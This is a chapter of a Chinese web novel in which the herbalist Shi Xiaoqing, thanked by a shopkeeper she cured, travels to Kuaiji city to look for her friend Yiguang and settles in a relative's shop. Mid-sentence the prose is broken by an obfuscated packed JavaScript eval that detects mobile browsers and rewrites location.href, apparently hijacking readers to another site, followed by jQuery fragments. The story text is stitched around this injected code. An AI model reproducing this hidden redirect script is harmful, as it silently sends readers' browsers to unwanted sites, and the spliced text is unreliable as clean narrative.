周掌柜的病情,比施晓青预想的恢复得更快。


    三日后,她再次被马车接到镇上时,周掌柜已经能下床走动了。疹子消退了大半,热也退了,只是人还有些虚。


    他坐在堂屋里,披着一件厚棉袍,面前摆着热茶和点心,见施晓青进来,便要起身行礼。


    “周掌柜别动。”施晓青快步上前,按住他的肩膀,“您身子还没好利索,别折腾。”


    “姑娘是我的救命恩人,这礼,该行。”周掌柜执意拱了拱手,才重新坐下。


    他看着施晓青,目光里带着几分审视,更多的是感激,“姑娘年纪轻轻,却有这般本事,实在难得。那些城里来的郎中,诊金收得不少,开的药却差点要了我的命。倒是姑娘那些……土方子,把我从鬼门关拉了回来。”


    施晓青在旁边的椅子上坐下,接过丫鬟递来的热茶,抿了一口:“周掌柜过奖了。我不过是凑巧知道些旁人不知道的法子罢了。”


    “凑巧?”周掌柜笑了,“这世上哪有那么多凑巧。姑娘的本事,是实打实的。”


    他顿了顿,端起茶杯,似乎在想什么。


    片刻后,他放下杯子,正色道:“姑娘,你救了我的命,我周某人不是忘恩负义的人。你若有需要我帮忙的地方,尽管开口。只要我做得到的,绝不含糊。”


    施晓青端着茶杯的手微微一顿。


    她等的,就是这句话。


    “周掌柜客气了。”她放下杯子,迎上他的目光,“我确实……有件事想麻烦您。”


    “说。”


    “我想去会稽城。”


    周掌柜愣了一下:“会稽城?”


    “是。”施晓青的声音平稳,像是在说一件再寻常不过的事,“我从小在苎萝村长大,没出过远门。我想去外面看看,长长见识。听说会稽城是越国最繁华的地方,我想……”


    “你想去会稽城做什么?”周掌柜打断她,目光里多了几分探究,“姑娘不是那种贪慕虚荣的人。你要去会稽,一定有你的理由。”


    施晓青沉默了片刻。


    她知道,周掌柜是个聪明人。聪明人面前,不能撒谎,但也不必全说真话。


    “我有一个朋友,”她慢慢地说,“她去了会稽。我想知道她过得好不好。”


    周掌柜看着她,没有追问。


    “就这些?”


    “就这些。”


    周掌柜端起茶杯,喝了一口,放下,又端起来,再放下。如此反复了几次,终于点了点头。


    “巧了。”他说,“我过几日正好要去会稽城,粮行有一批货要送,还有些账目要跟那边的合作伙伴对。若姑娘不嫌弃,可以跟我一道。”


    施晓青的心跳快了一拍,面上却不动声色:“那会不会太麻烦周掌柜了?”


    “麻烦什么。”周掌柜摆摆手,“你救了我的命,我带你一程,这算什么麻烦。只是——”他顿了顿,“姑娘去会稽,打算住哪里?做什么营生?”


    “住的地方,还想请周掌柜帮忙留意。”施晓青说,“至于营生……我会些草药,懂些调理的法子,到了城里,或许能找到事做。”


    周掌柜想了想:“我有个远房亲戚,在会稽城南开了间小铺子,卖些杂货。铺子后面有个小院子,空着一间屋。你若是不嫌弃,可以先住那里。至于营生……姑娘的本事,到了城里不愁没人找。”


    “多谢周掌柜。”施晓青站起来,郑重地行了一礼。


    “别别别,”周掌柜连忙摆手,“你救我命,我帮你找个住处,扯平了。别动不动就行礼,我受不起。”


    施晓青重新坐下,心里的一块石头落了地。


    会稽城。


    她要去会稽城了。


    离夷光,又近了一步。


    马车在五日后出发。


    施晓青只带了一个包袱。里面是几件换洗的衣裳,那叠厚厚的桑树皮,那根编了很久的麻绳带子,以及几包最常用的草药。


    阿母站在院门口,眼圈红红的,却忍着没哭。


    “到了那边,记得写信回来。”阿母的声音有些哑,“别……别逞强,有什么事,就回来。”


    “知道了,阿母。”


    施晓青抱了抱她,感觉到阿母瘦削的身体在微微发抖,“等我安顿好了,就给你写信。你要照顾好自己,那些药我放在灶房柜子里了,用法都写在树皮上,你看不懂就让翠儿念给你听。”


    “你呀……”阿母终于忍不住,眼泪掉了下来,“总是惦记别人,就不惦记惦记自己。”


    施晓青笑了笑,没有接话。


    翠儿站在一旁,已经哭得稀里哗啦了。她从怀里掏出一个布包,塞到施晓青手里:


    “这是我给你做的鞋垫,你路上用。还有……还有我阿母腌的咸菜,你带着,城里的东西贵,能省就省。”


    施晓青接过,鼻子有些酸。


    “翠儿,谢谢你。”


    “谢什么谢!”翠儿抹了把眼泪,“你到了那边,要写信给我。要是不写,我就……我就去会稽城找你!”


    “好。”


    施晓青上了马车,掀开车帘,最后看了一眼苎萝村。


    那些低矮的茅屋,那条空荡荡的村路,那棵老槐树光秃秃的枝丫,还有站在院门口的阿母和哭成泪人的翠儿。


    她看了很久,直到那些熟悉的一切都消失在路的尽头。


    周掌柜坐在车厢里,见她放下车帘,递过来一个热乎乎的饼子:“吃点东西吧,路还长着呢。”


    “多谢。”施晓青接过饼子,咬了一口。饼子是粗粮做的,有些硬,但嚼起来很香。


    马车在官道上走了整整两天。


    第一天,施晓青大部分时间都在看外面的风景。田野、山丘、河流、村庄,一切都在向后飞掠。偶尔有骑马的人从车旁经过,扬起一阵尘土,又消失在远处。


    第二天,她不再看了。她靠着车壁,闭着眼,脑子里一遍一遍地过着那些桑树皮上的信息。


    会稽城的情况,她知道的并不多。货郎孙老三和那些行商说的,大多是些零碎的、不成体系的消息。但她从那些碎片里,拼凑出了一个大概的轮廓——


    会稽城很大,分为内城外城。内城是王宫和贵族住的地方,普通人进不去。外城是平民和商贾聚集之地,鱼龙混杂,什么人都有。


    范蠡的府邸在内城,但陶朱记布庄在外城。那个布庄,是范蠡用来敛财和打探消息的掩护。


    夷光应该在内城的某个地方。那些被选中的女子,不会住在普通人能接触到的地方。


    所以,她不能直接去找夷光。


    她需要先在外城站稳脚跟,然后慢慢地、一点一点地……


    马车在第二日傍晚抵达会稽城。


    施晓青掀开车帘,看见高大的城墙在暮色中投下巨大的阴影。


    城门洞开着,进出的行人络绎不绝,有挑担的货郎,有骑马的商贾,有坐轿的贵妇人,也有衣衫褴褛的乞丐。


    城门口站着几个兵士,懒洋洋地检查着来往的行人和车辆。轮到她们的马车时,兵士掀开车帘看了一眼,见是女眷,便挥挥手让她们过去了。


    马车进了城,施晓青的眼睛几乎不够用了。


    街道比镇上的宽了不知多少倍,两旁是密密麻麻的铺面,卖布的、卖粮的、卖药的、卖首饰的、卖香料的……招牌林立,灯火通明。街上的人摩肩接踵,说话声、叫卖声、车马声混成一片,热闹得不像话。


    “这是外城最热闹的一条街。”周掌柜说,“再往里走,就是内城了,普通人进不去。你的住处在外城南边,安静些,但也偏僻些。”


    “偏僻些好。”施晓青说,“我不喜欢太吵。”


    马车穿过几条街,拐进一条窄巷,在一间小铺子前停下。


    铺子不大,门脸旧旧的,上面挂着一块褪色的招牌,写着“李记杂货”。铺子里点着一盏油灯,昏黄的光透过门缝漏出来。


    周掌柜下了车,上前敲了敲门。


    不一会儿,门开了,一个五十来岁的男人探出头来,看见周掌柜,愣了一下,随即笑了起来:“表哥?你怎么来了?不是说后日才到吗?”


    “路上顺,提前到了。”周掌柜拍拍他的肩膀,“老李,我给


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486890|202064||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你带了个人。”


    他侧过身,指了指身后的施晓青:“这是施姑娘,我的救命恩人。要在会稽城住些日子,你那个空屋子,先借给她住。”


    老李上下打量了施晓青一番,目光里带着几分好奇,但还是笑着点了点头:“表哥的恩人,就是我的恩人。进来吧,屋里乱,别嫌弃。”


    “多谢李叔。”施晓青提着包袱,跟着进了屋。


    铺子不大,前面是店面,后面是一个小小的院子。院子里堆着些杂货,角落有一口水井,还有一间小小的厢房。


    “就是这间。”老李推开厢房的门,里面有一张床、一张桌子、一把椅子,虽然简陋,但还算干净。


    “很好。”施晓青把包袱放在床上,转身对老李道谢,“麻烦李叔了。”


    “不麻烦不麻烦。”老李摆摆手,“你先收拾着,我去给你们做饭。表哥难得来,得好好喝两杯。”


    老李出去了,周掌柜站在门口,对施晓青说:“姑娘先住下,有什么需要就跟老李说。我在会稽城还要待几日,办完事就回去。姑娘若是想回去,到时候可以跟我一道。”


    “多谢周掌柜。”施晓青说,“我想先在城里看看,过些日子再说回去的事。”


    周掌柜点了点头,没有多问,转身去了前院。


    施晓青关上门,把包袱里的东西一样一样拿出来。


    衣裳叠好,放进床头那个简陋的木柜里。桑树皮和麻绳带子,藏在床板下面。草药包放在桌上,打开,一样一样检查过,确认没有受潮,才重新包好。


    最后,她从包袱底部摸出一个小小的布包。


    打开,里面是几片已经干透的薄荷叶。


    那是她留给自己的。


    她拿起一片薄荷叶,放在鼻子底下闻了闻。


    清苦的香气,熟悉得让人想哭。


    夷光,我来了。


    我到了会稽城了。


    你在这里吗?你在哪个方向?你离我,有多远?


    她把薄荷叶小心地放回布包里,贴身收好。


    然后她坐在床边,看着窗外渐渐暗下来的天。


    会稽城的夜空,比苎萝村的小。星星被城墙和屋檐遮住了大半,只有几颗最亮的,在头顶微微闪烁。


    但她知道,夷光就在这片夜空下的某个地方。


    呼吸着同样的空气,看着同样的星星。


    这就够了。


    第二天一早,施晓青就起来了。


    她帮着老李收拾店面,摆货、扫地、擦柜台,手脚麻利,一点也不像个客人。老李看在眼里,对她的印象又好了几分。


    “施姑娘,你不用这么客气。”老李说,“你是客人,哪能让你干活。”


    “李叔收留我,我干点活是应该的。”施晓青擦着柜台,头也不抬,“再说,我闲着也是闲着。”


    老李笑了笑,没有再拦。


    吃过早饭,施晓青跟老李说想去街上走走,认认路。老李给她指了方向,又叮嘱她别走太远,天黑前回来。


    施晓青出了门,沿着昨天来的那条路,慢慢地走。


    她没有目的,只是走。


    看那些铺面的招牌,记它们的位置。看那些行人的衣着和神态,猜他们的身份。听那些叫卖声和讨价还价声,从中捕捉有用的信息。


    走了大约半个时辰,她停在一间布庄门前。


    门面很大,招牌上写着三个大字——陶朱记。


    施晓青站在门口,没有进去。


    她看着那三个字,看了很久。


    然后她的目光落在布庄里面一个正在搬货的年轻伙计身上。


    那伙计生得黝黑壮实,穿着短褐,满头大汗地把一匹匹布从库房搬到店面。


    李叔的儿子。


    那个从苎萝村来的、在陶朱记当学徒的年轻人。


    施晓青没有上前打招呼。她只是站在街对面,看着那个忙碌的身影,记下了他进出的时间、和哪些人说话、掌柜的模样、客人进出的频率。


    然后她转身,继续往前走。


    不急。


    路还长着。